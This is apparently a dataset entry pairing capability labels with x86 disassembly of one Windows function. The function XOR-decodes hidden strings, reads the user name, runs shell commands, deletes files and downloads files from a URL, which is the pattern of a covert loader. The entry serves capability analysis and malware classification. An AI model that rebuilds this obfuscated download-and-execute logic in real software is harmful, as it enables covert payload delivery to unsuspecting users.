Function at 0x41e9a0
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Get session user name
Receive data
Set console window title
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47b4d1
mov eax, dword fs:[0]
push eax
sub esp, 0x688
mov eax, dword [0x493400]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5f0], 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x590]
mov dword [ebp - 0x590], 0xb381e698
mov dword [ebp - 0x58c], 0x918290ad
mov dword [ebp - 0x588], 0x968c9ecd
mov word [ebp - 0x584], 0x100
call fcn.0041fc40
push eax
mov ecx, 0x4934c4
call fcn.0040d660
lea ecx, [ebp - 0x28]
call fcn.0040d610
lea eax, [ebp - 0x598]
mov dword [ebp - 0x18], 0xaeb0bd8d
push eax
lea ecx, [ebp - 0x18]
mov word [ebp - 0x14], 0xa6
mov byte [ebp - 0x12], 1
call fcn.0040c080
push eax
mov ecx, 0x4934f4
call fcn.0040d660
lea ecx, [ebp - 0x598]
call fcn.0040d610
lea eax, [ebp - 0x28]
mov dword [ebp - 0x58c], 0xb6a99dee
push eax
lea ecx, [ebp - 0x58c]
mov dword [ebp - 0x588], 0x94a78c86
mov dword [ebp - 0x584], 0x10093b4
call fcn.0040b170
push eax
mov ecx, 0x4934ac
call fcn.0040d660
lea ecx, [ebp - 0x28]
call fcn.0040d610
movaps xmm0, xmmword [0x48c7f0]
lea eax, [ebp - 0x598]
movups xmmword [ebp - 0x64c], xmm0
lea ecx, [ebp - 0x64c]
mov word [ebp - 0x60c], 0x100
movaps xmm0, xmmword [0x48c5d0]
movups xmmword [ebp - 0x63c], xmm0
push eax
movaps xmm0, xmmword [0x48c6a0]
movups xmmword [ebp - 0x62c], xmm0
movaps xmm0, xmmword [0x48c600]
movups xmmword [ebp - 0x61c], xmm0
call fcn.0041fc00
push eax
mov ecx, 0x49350c
call fcn.0040d660
lea ecx, [ebp - 0x598]
call fcn.0040d610
lea eax, [ebp - 0x598]
mov dword [ebp - 0x18], 0xaeb0bdad
push eax
lea ecx, [ebp - 0x18]
mov word [ebp - 0x14], 0xa6
mov byte [ebp - 0x12], 1
call fcn.0040c080
push eax
mov ecx, 0x4934dc
call fcn.0040d660
lea ecx, [ebp - 0x598]
call fcn.0040d610
lea eax, [ebp - 0x598]
mov dword [ebp - 0x1c], 0xa8bcaeb9
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x9a88d6b0
mov word [ebp - 0x14], 0x9b
mov byte [ebp - 0x12], 1
call fcn.0040c0c0
push eax
mov ecx, 0x493494
call fcn.0040d660
lea ecx, [ebp - 0x598]
call fcn.0040d610
lea eax, [ebp - 0x67c]
mov dword [ebp - 0x5a4], 0xf0aeaf8f
push eax
lea ecx, [ebp - 0x5a4]
mov dword [ebp - 0x5a0], 0x9581bb
mov byte [ebp - 0x59c], 1
call fcn.0040b360
mov esi, eax
lea eax, [ebp - 0x664]
mov dword [ebp - 4], 6
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0xbfd8a2
mov byte [ebp - 0x14], 1
call fcn.0041fc80
push 0x4934dc
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x608]
call fcn.004102b0
push esi
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x598]
call fcn.00410310
add esp, 8
mov ecx, 0x493524
push eax
call fcn.0040d660
lea ecx, [ebp - 0x598]
call fcn.0040d610
lea ecx, [ebp - 0x608]
call fcn.0040d610
lea ecx, [ebp - 0x664]
call fcn.0040d610
lea ecx, [ebp - 0x67c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040d610
push ecx
lea ecx, [ebp - 0x578]
call fcn.0041fb20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5f0], esp
push 0x48a7ca
call fcn.0040d6e0
sub esp, 0x18
mov dword [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0x580], esp
push 0x49430c
call fcn.0040d720
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x5cc], esp
push 0x4942c4
call fcn.0040d720
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ebp - 0x5c4], esp
push 0x49350c
call fcn.0040d720
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x5a0], esp
push 0x4934ac
call fcn.0040d720
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
push 0x4934f4
call fcn.0040d720
lea ecx, [ebp - 0x578]
mov dword [ebp - 4], 0xffffffff
call fcn.0041d960
mov ecx, 0x4934f4
mov dword [ebp - 4], 0xe
call fcn.0040d4e0
mov ecx, 0x4934ac
call fcn.0040d4e0
mov ecx, 0x49350c
call fcn.0040d4e0
mov ecx, 0x4942c4
call fcn.0040d4e0
mov ecx, 0x49430c
call fcn.0040d4e0
push 0x493478
push 0x494178
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x58c]
push eax
call fcn.0041f750
mov edi, eax
cmp byte [edi + 0xa], 0
je 0x41ed62
xor ebx, ebx
nop dword [eax + eax]
mov eax, 0x51eb851f
lea esi, [ebx + edi]
mul ebx
mov cl, bl
inc ebx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [esi], cl
cmp ebx, 0xb
jl 0x41ed40
push 0x49427c
mov edx, edi
lea ecx, [ebp - 0x664]
call fcn.00410120
push 0x48aae4
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x67c]
call fcn.00410250
push 0x4942ac
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xa0]
call fcn.004102b0
add esp, 0xc
lea ecx, [ebp - 0x67c]
call fcn.0040d610
lea ecx, [ebp - 0x664]
mov byte [ebp - 4], 0x13
call fcn.0040d610
lea ecx, [ebp - 0xa0]
call fcn.0040d490
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea eax, [ebp - 0x70]
mov word [ebp - 0x580], 0xd1
push eax
lea ecx, [ebp - 0x580]
mov byte [ebp - 0x57e], 1
call fcn.0040c100
mov ecx, eax
mov byte [ebp - 4], 0x14
call fcn.0040d490
movaps xmm0, xmmword [0x48c530]
lea ecx, [ebp - 0x5b8]
mov esi, eax
mov byte [ebp - 0x5a8], 1
lea eax, [ebp - 0x694]
push eax
movups xmmword [ebp - 0x5b8], xmm0
call fcn.0040b3a0
push 0x494178
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x608]
call fcn.00410250
sub esp, 0x14
mov byte [ebp - 4], 0x16
mov ecx, esp
mov edx, eax
push esi
call fcn.00410250
add esp, 4
mov ecx, 0xa
call fcn.0041e080
add esp, 0x18
lea ecx, [ebp - 0x608]
call fcn.0040d610
lea ecx, [ebp - 0x694]
call fcn.0040d610
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x13
call fcn.0040d610
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5dc
call ebx
mov edi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea ecx, [ebp - 0x578]
call fcn.004047f0
lea ecx, [ebp - 0x58]
call fcn.004047d0
mov byte [ebp - 4], 0x17
cmp byte [ebp - 0x3e0], 0
jne 0x41ef0c
movaps xmm0, xmmword [0x48c770]
lea edx, [ebp - 0x5ec]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x5ec], xmm0
mov dword [ebp - 0x5dc], 0x80969c83
mov dword [ebp - 0x5d8], 0x9d9ba6d5
mov dword [ebp - 0x5d4], 0xd29e8998
mov dword [ebp - 0x5d0], 0x100d0d3
call fcn.0041f780
push 0x5dc
call ebx
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x13
call fcn.0040d610
jmp 0x41ee90
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x5a0], 0x908e82
mov byte [ebp - 0x59c], 1
call fcn.0041f7b0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x5cc], 0xb7b3b5f5
lea eax, [ebp - 0x608]
mov word [ebp - 0x5c8], 0x100
lea ecx, [ebp - 0x5cc]
push eax
call fcn.0040b130
mov esi, eax
lea eax, [ebp - 0x694]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x5c4]
mov dword [ebp - 0x5c4], 0xbfd8a2
mov byte [ebp - 0x5c0], 1
call fcn.0041fc80
push 0x4934dc
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x70]
call fcn.004102b0
push esi
mov edx, eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x40]
call fcn.00410310
add esp, 8
lea ecx, [ebp - 0x70]
call fcn.0040d610
lea ecx, [ebp - 0x694]
call fcn.0040d610
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x1e
call fcn.0040d610
lea ecx, [ebp - 0x40]
call fcn.0040d490
push eax
lea ecx, [ebp - 0x28]
call fcn.0040d6e0
lea ecx, [ebp - 0x28]
call fcn.0041e120
lea ecx, [ebp - 0x28]
mov bl, al
call fcn.0040d610
test bl, bl
je 0x41f051
lea ecx, [ebp - 0x28]
call fcn.004047d0
push ecx
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x1f
call fcn.00406c80
sub esp, 0xc
lea eax, [ebp - 0x40]
lea ecx, [ebp - 0x2d0]
push eax
call fcn.0040bf20
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2d0]
call fcn.00410870
lea ecx, [ebp - 0x2d0]
call fcn.0041fcd0
lea ecx, [ebp - 0x2d0]
call fcn.00406bc0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1e
call fcn.0040d610
jmp 0x41f115
lea ecx, [ebp - 0x580]
mov word [ebp - 0x580], 0xd1
mov byte [ebp - 0x57e], 1
call fcn.0041f810
movaps xmm0, xmmword [0x48c850]
lea ecx, [ebp - 0x630]
movups xmmword [ebp - 0x630], xmm0
mov esi, eax
mov dword [ebp - 0x610], 0x2c676c
movaps xmm0, xmmword [0x48c5b0]
push 0x493494
movups xmmword [ebp - 0x620], xmm0
mov byte [ebp - 0x60c], 1
call fcn.0041f7e0
mov edx, eax
lea ecx, [ebp - 0x5e4]
call fcn.00410120
sub esp, 0x14
mov byte [ebp - 4], 0x21
mov ecx, esp
mov edx, eax
push esi
call fcn.00410250
add esp, 4
mov ecx, 8
call fcn.0041e080
add esp, 0x18
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x5e4]
call fcn.0040d610
movaps xmm0, xmmword [0x48c860]
lea edx, [ebp - 0x24]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x100
call fcn.0041f820
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x58]
call fcn.004114d0
sub esp, 0x18
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call fcn.0040d720
lea ecx, [ebp - 0x578]
call fcn.004070e0
lea ecx, [ebp - 0x40]
call fcn.0040d490
cmp byte [ebp - 0x3e0], 0
push eax
jne 0x41f1da
call edi
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea eax, [ebp - 0x28]
add esp, 4
mov dword [ebp - 0x5b0], 0xb1afae9e
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x5ac], 0xc1daad
mov byte [ebp - 0x5a8], 1
push eax
call fcn.0040b360
lea ecx, [ebp - 0x3dc]
mov byte [ebp - 4], 0x22
push ecx
mov edx, eax
lea ecx, [ebp - 0x5e4]
call fcn.004102b0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x23
mov ecx, esi
call fcn.00410d50
lea ecx, [ebp - 0x5e4]
call fcn.0040d610
lea ecx, [ebp - 0x28]
call fcn.0040d610
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xfa0
call ebx
lea ecx, [ebp - 0x40]
call fcn.0040d610
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x13
call fcn.0040d610
jmp 0x41ee90
lea ecx, [ebp - 0x598]
call fcn.0040d6e0
lea ecx, [ebp - 0x598]
call fcn.0041e120
lea ecx, [ebp - 0x598]
mov bl, al
call fcn.0040d610
test bl, bl
je 0x41f20f
lea ecx, [ebp - 0x40]
call fcn.0040d490
push eax
call edi
add esp, 4
push ecx
lea ecx, [ebp - 0x168]
call fcn.0040ada0
sub esp, 8
lea eax, [ebp - 0x40]
lea ecx, [ebp - 0x168]
push 2
push eax
call fcn.0040adf0
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0x24
call fcn.0041fcc0
test al, al
je 0x41f255
lea edx, [ebp - 0x58]
call fcn.00410d50
lea ecx, [ebp - 0x168]
call fcn.0040adc0
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x908e82
mov byte [ebp - 0x14], 1
call fcn.0041f7b0
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push eax
call esi
movaps xmm0, xmmword [0x48c6f0]
lea ecx, [ebp - 0x5ec]
sub esp, 0x14
mov dword [ebp - 0x5dc], 0x908387d1
movups xmmword [ebp - 0x5ec], xmm0
mov dword [ebp - 0x5d8], 0xd6928294
mov dword [ebp - 0x5d4], 0xf1d4d7
push esp
mov byte [ebp - 0x5d0], 1
call fcn.0041fb80
mov ecx, 8
call fcn.0041e080
add esp, 0x18
mov ecx, 0x4942f4
call fcn.0040d490
push eax
lea ecx, [ebp - 0x598]
call fcn.0040d6e0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x598]
mov dword [ebp - 0x5f0], 1
call fcn.0041e120
test al, al
je 0x41f303
call fcn.0041e150
mov byte [ebp - 0x579], 1
test eax, eax
jne 0x41f30a
mov byte [ebp - 0x579], 0
mov dword [ebp - 4], 0x24
lea ecx, [ebp - 0x598]
xor ebx, ebx
mov dword [ebp - 0x580], ebx
call fcn.0040d610
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x908e82
mov byte [ebp - 0x14], 1
call fcn.0041f7b0
push eax
call esi
sub esp, 0x14
push esp
cmp byte [ebp - 0x579], bl
je 0x41f38e
lea ecx, [ebp - 0x590]
mov dword [ebp - 0x590], 0xab80fd80
mov dword [ebp - 0x58c], 0x868e94af
mov dword [ebp - 0x588], 0xec809082
mov word [ebp - 0x584], 0x100
call fcn.0041fc40
lea ecx, [ebx + 5]
call fcn.0041e080
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
add esp, 0x18
jmp 0x41f4bd
movaps xmm0, xmmword [0x48c540]
lea ecx, [ebp - 0x594]
movups xmmword [ebp - 0x594], xmm0
mov byte [ebp - 0x584], 1
call fcn.0040b3a0
mov ecx, 0xa
call fcn.0041e080
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
add esp, 0x18
mov ecx, 0x4942dc
call fcn.0040d490
push eax
lea ecx, [ebp - 0x5bc]
call fcn.0040d6e0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x5bc]
or ebx, 2
mov dword [ebp - 0x580], ebx
mov dword [ebp - 0x5f0], ebx
call fcn.0041e120
test al, al
je 0x41f444
mov ecx, 0x4942f4
call fcn.0040d490
push eax
lea ecx, [ebp - 0x598]
call fcn.0040d6e0
mov dword [ebp - 4], 0x27
lea ecx, [ebp - 0x598]
or ebx, 4
mov dword [ebp - 0x580], ebx
mov dword [ebp - 0x5f0], ebx
call fcn.0041e120
test al, al
je 0x41f444
call fcn.0041e150
mov byte [ebp - 0x579], 0
test eax, eax
jne 0x41f44b
mov byte [ebp - 0x579], 1
test bl, 4
je 0x41f464
and ebx, 0xfffffffb
lea ecx, [ebp - 0x598]
mov dword [ebp - 0x580], ebx
call fcn.0040d610
mov dword [ebp - 4], 0x24
test bl, 2
je 0x41f484
and ebx, 0xfffffffd
lea ecx, [ebp - 0x5bc]
mov dword [ebp - 0x580], ebx
call fcn.0040d610
cmp byte [ebp - 0x579], 0
je 0x41f4bd
mov ecx, 0x4942dc
call fcn.0040d490
push eax
call edi
add esp, 4
mov ecx, 0x4942dc
call fcn.0040d490
mov ecx, 0x494294
mov edx, eax
call fcn.0040d490
push 0
push 0
push edx
push eax
push 0
call esi
mov ecx, 0x4942dc
call fcn.0040d490
push eax
lea ecx, [ebp - 0x598]
call fcn.0040d6e0
lea ecx, [ebp - 0x598]
call fcn.0041e120
lea ecx, [ebp - 0x598]
mov bl, al
call fcn.0040d610
test bl, bl
mov ebx, dword [ebp - 0x580]
je 0x41f3c1
push ecx
lea ecx, [ebp - 0x218]
call fcn.0040ada0
sub esp, 8
lea ecx, [ebp - 0x218]
push 2
push 0x4934c4
call fcn.0040adf0
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 0x28
call fcn.0041fcc0
test al, al
je 0x41f542
mov edx, 0x494178
call fcn.0041fe20
lea ecx, [ebp - 0x218]
call fcn.0040adc0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x4934c4
call fcn.0040d720
sub esp, 0x18
mov byte [ebp - 4], 0x29
mov ecx, esp
push 0x493524
call fcn.0040d720
mov byte [ebp - 4], 0x28
call fcn.0041e620
add esp, 0x30
mov dword [ebp - 0x590], 0xb381e698
lea eax, [ebp - 0x88]
mov dword [ebp - 0x58c], 0x918290ad
lea ecx, [ebp - 0x590]
mov dword [ebp - 0x588], 0x928480cd
mov word [ebp - 0x584], 0x86
push eax
mov byte [ebp - 0x582], 1
call fcn.0041fb40
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0x5b4], 0xbd81e698
mov dword [ebp - 0x5b0], 0x8b878eb0
mov dword [ebp - 0x5ac], 0x8f9fca84
mov word [ebp - 0x5a8], 0x97
mov byte [ebp - 0x5a6], 1
call fcn.0041fb40
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x2b
call fcn.0040d490
push eax
lea ecx, [ebp - 0x598]
call fcn.0040d6e0
lea ecx, [ebp - 0x598]
call fcn.0041e120
lea ecx, [ebp - 0x598]
mov bl, al
call fcn.0040d610
test bl, bl
je 0x41f63c
lea ecx, [ebp - 0x88]
call fcn.0040d490
push eax
call edi
add esp, 4
push ecx
lea ecx, [ebp - 0x380]
call fcn.0040ada0
sub esp, 8
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0x380]
push 2
push eax
call fcn.0040adf0
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0x2c
call fcn.0041d200
mov edx, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x380]
call fcn.00410d50
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0x2c
call fcn.0040d610
lea ecx, [ebp - 0x380]
call fcn.0040adc0
sub esp, 0x18
lea eax, [ebp - 0x88]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0040d720
sub esp, 0x18
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x70]
mov ecx, esp
push eax
call fcn.0040d720
mov byte [ebp - 4], 0x2c
call fcn.0041e620
add esp, 0x30
mov dword [ebp - 0x5ac], 0xacbca8a8
lea eax, [ebp - 0x5e4]
mov dword [ebp - 0x5a8], 0x100c0ab
lea ecx, [ebp - 0x5ac]
push eax
call fcn.0041fbc0
push 0x4942dc
mov edx, eax
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0xb8]
call fcn.004102b0
add esp, 4
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], 0x31
call fcn.0040d610
sub esp, 0x18
lea ecx, [ebp - 0xb8]
mov edx, esp
call fcn.0040d490
push eax
mov ecx, edx
call fcn.0040d6e0
call fcn.0041e4f0
add esp, 0x18
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3